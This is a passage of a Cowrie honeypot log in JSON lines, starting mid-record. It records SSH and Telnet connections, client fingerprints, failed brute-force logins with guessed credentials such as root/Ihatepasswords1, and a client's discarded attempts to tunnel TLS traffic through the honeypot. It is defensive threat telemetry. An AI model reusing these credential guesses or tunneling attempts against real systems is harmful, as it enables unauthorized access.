x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd4]\\x9c\\x0eD\\x8a\\xec\\xec\\xac\\xa1\\x98\\x05\\xeb\\x9e\\xa0\\xab\\xa9\\x94IRG\\xffKb\\x8d(J\\xc8\\xbac2h \\x93\\x02\\xc1\\x84\\xdbU\\x86\\x86:M\\xa0Z\\x12\\x87I\\xb4\"\\x93\\xb5UG\\xe4m\\xd2\\x16\\xcb\\xf1C\\xa1Ux\\xc2\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\\\fU\\xea\\x1b\\xcc\\x9fp)P\\x1b\\x8a\\xaf\\xec\\x1cg\\x17\\xde%\\xbe\\x04CG\\xf8\\xeb\\\\\\xde\\xac\\xd2)Ag\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:23.615243Z","src_ip":"63.141.242.2","session":"3a0b72da56a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:23.724703Z","session":"3a0b72da56a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:23.762007Z","src_ip":"63.141.242.2","session":"3a0b72da56a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe0\\x0e\\xd1P\\x97x\\x17q\\x16\\xb0\\xfb\\xdc\\xc3\\xe9-\\x93\\x13P\\x98\\xce&\\xc5\\xea#3\\xd5\\xed)\\xe9\\xb3\\xd6\\xa6 \\xde(\\x83\\x13;e\\xf8\\x8fl%\\x15\\x10\\xc8,\\x9b\\xc2\\x80pr\\x13-a4o\\\\\\xb6\\x88F\\xa3\\x12\\xb5a\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 TB\\xf3I\\xfd\\xdb\\x86\\xdb%\\xd8Q#q\\x8f\\xe6\\xae\\x14\\x84\\xc3I,\\xce\\x19\\xc8\\x11\\xe8\\x9fH.]\\xbc\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe0\\x0e\\xd1P\\x97x\\x17q\\x16\\xb0\\xfb\\xdc\\xc3\\xe9-\\x93\\x13P\\x98\\xce&\\xc5\\xea#3\\xd5\\xed)\\xe9\\xb3\\xd6\\xa6 \\xde(\\x83\\x13;e\\xf8\\x8fl%\\x15\\x10\\xc8,\\x9b\\xc2\\x80pr\\x13-a4o\\\\\\xb6\\x88F\\xa3\\x12\\xb5a\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 TB\\xf3I\\xfd\\xdb\\x86\\xdb%\\xd8Q#q\\x8f\\xe6\\xae\\x14\\x84\\xc3I,\\xce\\x19\\xc8\\x11\\xe8\\x9fH.]\\xbc\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:23.765925Z","src_ip":"63.141.242.2","session":"3a0b72da56a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"51.4","message":"Connection lost after 51.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:25.140919Z","src_ip":"23.175.50.52","session":"8e8e08474fea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.0","message":"Connection lost after 18.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:29.517416Z","src_ip":"63.141.242.2","session":"3a0b72da56a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":33998,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e55f7eb41f2","protocol":"telnet","message":"New connection: 94.23.66.112:33998 (10.17.0.5:23) [session: 5e55f7eb41f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:30.031439Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41698,"dst_ip":"159.203.135.109","dst_port":23,"session":"17c0272d80a5","protocol":"telnet","message":"New connection: 128.199.8.54:41698 (159.203.135.109:23) [session: 17c0272d80a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:31.822230Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":55052,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca86f871b7da","protocol":"ssh","message":"New connection: 103.60.242.169:55052 (159.203.135.109:22) [session: ca86f871b7da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:32.026098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:32.030485Z","src_ip":"103.60.242.169","session":"ca86f871b7da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:32.279127Z","src_ip":"103.60.242.169","session":"ca86f871b7da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":33214,"dst_ip":"10.17.0.5","dst_port":22,"session":"589c0459e4f3","protocol":"ssh","message":"New connection: 103.176.20.57:33214 (10.17.0.5:22) [session: 589c0459e4f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:32.842908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:32.847333Z","src_ip":"103.176.20.57","session":"589c0459e4f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:33.104807Z","src_ip":"103.176.20.57","session":"589c0459e4f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qadmin","password":"qadmin","message":"login attempt [qadmin/qadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:33.307590Z","src_ip":"103.60.242.169","session":"ca86f871b7da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"290785","message":"login attempt [root/290785] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:33.873686Z","src_ip":"103.176.20.57","session":"589c0459e4f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:34.558676Z","src_ip":"103.60.242.169","session":"ca86f871b7da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:35.127515Z","src_ip":"103.176.20.57","session":"589c0459e4f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":51978,"dst_ip":"159.203.135.109","dst_port":22,"session":"725028dfab72","protocol":"ssh","message":"New connection: 27.71.230.31:51978 (159.203.135.109:22) [session: 725028dfab72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:37.273960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:37.324637Z","src_ip":"27.71.230.31","session":"725028dfab72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:37.811776Z","src_ip":"27.71.230.31","session":"725028dfab72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ihatepasswords1","message":"login attempt [root/Ihatepasswords1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:41.197469Z","src_ip":"27.71.230.31","session":"725028dfab72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:42.429940Z","src_ip":"27.71.230.31","session":"725028dfab72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"75.4","message":"Connection lost after 75.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:51.357897Z","src_ip":"38.46.222.137","session":"2c0e36ac1f1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39714,"dst_ip":"159.203.135.109","dst_port":23,"session":"60e9536efd6f","protocol":"telnet","message":"New connection: 128.199.8.54:39714 (159.203.135.109:23) [session: 60e9536efd6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:08.872852Z"}
{"eventid":"cowrie.session.closed","duration":0.0075283050537109375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:08.880244Z","src_ip":"128.199.8.54","session":"60e9536efd6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":37082,"dst_ip":"10.17.0.5","dst_port":22,"session":"512bdecc8b9f","protocol":"ssh","message":"New connection: 109.237.96.109:37082 (10.17.0.5:22) [session: 512bdecc8b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:19.095746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:19.100028Z","src_ip":"109.237.96.109","session":"512bdecc8b9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:19.189401Z","src_ip":"109.237.96.109","session":"512bdecc8b9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pluton","message":"login attempt [root/pluton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:19.459481Z","src_ip":"109.237.96.109","session":"512bdecc8b9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:20.551841Z","src_ip":"109.237.96.109","session":"512bdecc8b9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.72548818588257,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:23.547612Z","src_ip":"128.199.8.54","session":"17c0272d80a5","protocol":"telnet"}
